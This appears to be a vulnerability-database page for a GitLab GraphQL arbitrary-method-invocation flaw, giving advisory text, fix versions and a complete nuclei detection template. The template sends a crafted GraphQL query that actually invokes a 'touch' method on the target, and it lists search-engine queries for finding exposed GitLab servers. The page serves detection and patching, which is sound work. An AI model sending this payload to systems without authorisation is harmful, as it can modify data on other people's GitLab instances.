Browse / CVEs / CVE-2026-19478
CVE-2026-19478· gitlab / gitlab· CWE-94
GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
criticalseverity
9.4CVSS score
2.2%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
Impact
An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation through a crafted GraphQL query.
Fix
Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.
How to confirm it
Send: GET {{BaseURL}}/api/v4/projects?visibility=public&per_page=1
Positive when: status_code == 200 and contains(body, 'path_with_namespace')
Send: POST /api/graphql
Positive when: status 200 AND not contains "doesn't exist on type" AND matches /"touch"\s*:\s*true/Run it with nuclei: nuclei -id CVE-2026-19478 -u <target>
The full check
id: CVE-2026-19478
info:
name: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
author: 0x_Akoko,DhiyaneshDk
severity: critical
description: |
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
impact: |
An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation
through a crafted GraphQL query.
remediation: |
Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.
reference:
- https://www.cve.org/CVERecord?id=CVE-2026-19478
- https://github.com/davkharrr/CVE-2026-19478-PoC
- https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
- https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
cvss-score: 9.4
cve-id: CVE-2026-19478
epss-score: 0.02155
epss-percentile: 0.82315
cwe-id: CWE-94
metadata:
max-request: 2
verified: true
vendor: gitlab
product: gitlab
shodan-query: http.title:"GitLab"
fofa-query: title="gitlab"
google-query: intitle:"gitlab"
tags: cve,cve2026,gitlab,graphql,code-injection,unauth,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/api/v4/projects?visibility=public&per_page=1"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'path_with_namespace')"
condition: and
internal: true
extractors:
- type: regex
name: project_path
group: 1
regex:
- '"path_with_namespace"\s*:\s*"([^"]+)"'
internal: true
- raw:
- |
POST /api/graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query":"query { project(fullPath: \"{{project_path}}\") { name touch @gl_introduced(version: \"999.0.0\") } }"}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "doesn't exist on type"
negative: true
- type: regex
part: body
regex:
- '"touch"\s*:\s*true'
extractors:
- type: json
json:
- '.data.project.name'References
- https://www.cve.org/CVERecord?id=CVE-2026-19478
- https://github.com/davkharrr/CVE-2026-19478-PoC
- https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
- https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
Use this check only on systems you are authorised to test. Where the data comes from